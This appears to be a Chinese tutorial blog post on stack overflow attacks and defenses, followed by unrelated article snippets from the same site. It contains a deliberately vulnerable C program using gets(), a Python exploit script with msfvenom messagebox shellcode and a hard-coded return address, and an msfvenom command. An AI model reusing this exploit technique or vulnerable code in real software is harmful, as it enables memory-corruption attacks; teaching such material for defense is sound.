news 2026/8/29 5:58:26

栈溢出攻击原理与防御

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
栈溢出攻击原理与防御

栈溢出攻击原理与防御

栈的结构与特性

栈(Stack)是用于存储函数调用过程中局部变量、参数、返回地址以及保存的寄存器值的内存区域。每次函数调用时,系统会在栈上分配一个栈帧。栈的生长方向是从高地址向低地址,而缓冲区数据的写入方向通常是从低地址向高地址,这一矛盾是栈溢出攻击得以实现的关键。

漏洞形成原理

函数调用时,返回地址被保存在栈帧中,以保证函数执行完毕后能正确返回到调用位置。如果程序在编写时未对缓冲区大小进行严格检查,攻击者通过输入超长数据可以覆盖栈上的返回地址。若精心构造输入数据,将返回地址修改为预先植入的恶意代码(shellcode)地址,即可劫持程序执行流程,造成安全漏洞。

栈帧的典型布局如下:

低地址 +------------------+ | 局部变量 | | buffer[N] | +------------------+ | 保存的 EBP | +------------------+ | 返回地址 | +------------------+ | 函数参数 | +------------------+ 高地址

漏洞复现实例

示例代码

编译时需关闭以下防护选项:

  1. ASLR(地址空间布局随机化)
  2. Stack Canary(/GS 安全检查)
  3. DEP/NX(数据执行保护)
#include<stdio.h>#include<string.h>#include<windows.h>#include<stdlib.h>__declspec(noinline)voidvulnerable(){charbuffer[64];printf("[+] 缓冲区地址: 0x%p\n",buffer);gets(buffer);// 危险函数,不检查输入长度printf("[+] 输入内容: %s\n",buffer);}intmain(){printf("=== 栈溢出演示程序 ===\n");printf("[+] 按 Ctrl+C 退出\n");printf("[+] 输入超长字符串触发溢出\n\n");while(1){vulnerable();}return0;}

攻击脚本

if__name__=="__main__":# 使用 msfvenom 生成的 shellcode,弹窗示例shellcode=b""shellcode+=b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52"shellcode+=b"\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x31\xff\x8b"shellcode+=b"\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"shellcode+=b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"shellcode+=b"\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"shellcode+=b"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x50"shellcode+=b"\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01"shellcode+=b"\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"shellcode+=b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"shellcode+=b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"shellcode+=b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"shellcode+=b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"shellcode+=b"\xe9\x80\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x75"shellcode+=b"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x68\x4c"shellcode+=b"\x77\x26\x07\xff\xd5\x6a\x00\xe8\x06\x00\x00\x00"shellcode+=b"\x50\x77\x6e\x65\x64\x00\xe8\x07\x00\x00\x00\x48"shellcode+=b"\x61\x63\x6b\x65\x64\x00\x6a\x00\x68\x45\x83\x56"shellcode+=b"\x07\xff\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5"padding=b'\xeb\x46'# 短跳转指令padding+=b'A'*(62+4)# 填充至返回地址前ret_addr=b'\xe4\xee\x19\x00'# 覆盖的返回地址(示例)payload=padding+ret_addr+b'\x90'*0x10+shellcodewithopen('payload.bin','wb')asf:f.write(payload)

提示:可使用msfvenom生成 shellcode,例如:

msfvenom-pwindows/messageboxTEXT="Hacked"TITLE="Pwned"-fpy-ax86

执行方式

stackoverflow.exe < payload.bin

执行成功后,将触发预设的 shellcode,例如弹窗提示:

常见防护机制

ASLR(地址空间布局随机化)

ASLR 使栈、堆和动态库的加载地址在每次程序运行时随机变化,攻击者难以预测关键地址,从而阻止基于固定地址的攻击。

Stack Canary(栈保护)

编译器在缓冲区与返回地址之间插入一个随机值(Canary)。函数返回前校验该值是否被修改,若检测到溢出则终止程序。

+------------------+ | 返回地址 | +------------------+ | Canary | ← 溢出覆盖会触发检测 +------------------+ | 局部变量 | +------------------+

DEP/NX(数据执行保护)

将栈、堆等数据区域标记为不可执行,即使攻击者成功注入 shellcode 并跳转至该区域,CPU 也会拒绝执行,抛出异常。

程序防护实践

栈溢出攻击通常依赖于对目标程序的逆向分析,包括定位危险函数、分析栈布局与计算偏移量。因此,增强程序的反逆向能力可作为有效的防御补充。使用保护工具如Virbox Protector可实现以下防护:

防止静态分析

  • 代码虚拟化:将关键函数转换为私有指令集,使反汇编结果难以理解
  • 代码混淆:通过控制流平坦化与虚假分支干扰分析逻辑
  • 代码加密:代码段加密存储,运行时动态解密
  • 导入表保护:隐藏外部函数依赖,增加定位危险函数的难度
  • 移除调试信息:清除符号表与函数名,提升逆向成本

防止动态调试

  • 调试器检测:识别调试器附加行为,并采取终止或反制措施
  • 内存完整性校验:运行时检查代码段是否被修改或设置断点

通过理解栈溢出原理、熟悉攻击手法,并采取相应的编译选项与代码保护措施,可显著提升软件的安全性,防范此类经典内存漏洞的利用。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/25 15:02:26

GLM-TTS WebUI二次开发文档:科哥团队的技术贡献解析

GLM-TTS WebUI二次开发的技术演进与工程实践 在AI语音合成迅速走向落地的今天&#xff0c;一个核心矛盾日益凸显&#xff1a;模型能力越来越强&#xff0c;但使用门槛却依然高得让普通用户望而却步。GLM-TTS作为一款支持零样本语音克隆和情感迁移的先进TTS系统&#xff0c;在原…

作者头像 李华
网站建设 2026/8/29 1:46:46

新闻播报自动化:实时生成财经、体育等领域语音快讯

新闻播报自动化&#xff1a;实时生成财经、体育等领域语音快讯 在信息爆炸的时代&#xff0c;一条突发新闻从发生到传播的“黄金时间”可能只有几分钟。尤其在财经市场剧烈波动或体育赛事关键进球的瞬间&#xff0c;听众期待的是即时、清晰且富有表现力的语音播报——而不再是延…

作者头像 李华
网站建设 2026/8/28 2:32:49

无需训练即可克隆声音:零样本TTS模型GLM-TTS上手体验

无需训练即可克隆声音&#xff1a;零样本TTS模型GLM-TTS上手体验 在内容创作日益个性化的今天&#xff0c;语音不再只是信息的载体&#xff0c;更成为角色、情绪与品牌调性的延伸。你是否曾为有声书里千篇一律的机械音感到乏味&#xff1f;是否希望用自己或特定人物的声音自动播…

作者头像 李华
网站建设 2026/8/29 1:46:24

IFTTT规则设置:当收到邮件时自动合成语音提醒

当老板的邮件响起时&#xff0c;用他的声音提醒你&#xff1a;基于 GLM-TTS 与本地自动化构建个性化语音播报系统 在信息爆炸的时代&#xff0c;我们每天被成百上千条通知淹没。一封关键邮件可能刚到收件箱&#xff0c;就被下一秒弹出的消息盖过——直到错过截止时间才猛然惊觉…

作者头像 李华
网站建设 2026/8/19 15:13:18

研究生必备6个AI论文神器:免费生成开题报告、大纲超省心!

如果你是凌晨3点还在改开题报告的研一新生&#xff0c;是被导师“灵魂追问”文献综述逻辑的研二老生&#xff0c;是卡着查重率红线疯狂降重的准毕业生——这篇文章就是为你写的。 研究生写论文的痛&#xff0c;从来都不是“写不出来”这么简单&#xff1a; 开题时&#xff0c…

作者头像 李华
网站建设 2026/8/28 8:06:28

Web 请求本质是 无状态、短生命周期的庖丁解牛

“Web 请求本质是无状态、短生命周期的” 是理解 HTTP 协议设计、Web 应用架构、会话管理、性能优化 的第一性原理。 它决定了为什么需要 Cookie/Session、为什么 FPM 用进程池、为什么无服务器架构可行。 忽视此本质&#xff0c;会导致架构过度设计、状态管理混乱、资源浪费。…

作者头像 李华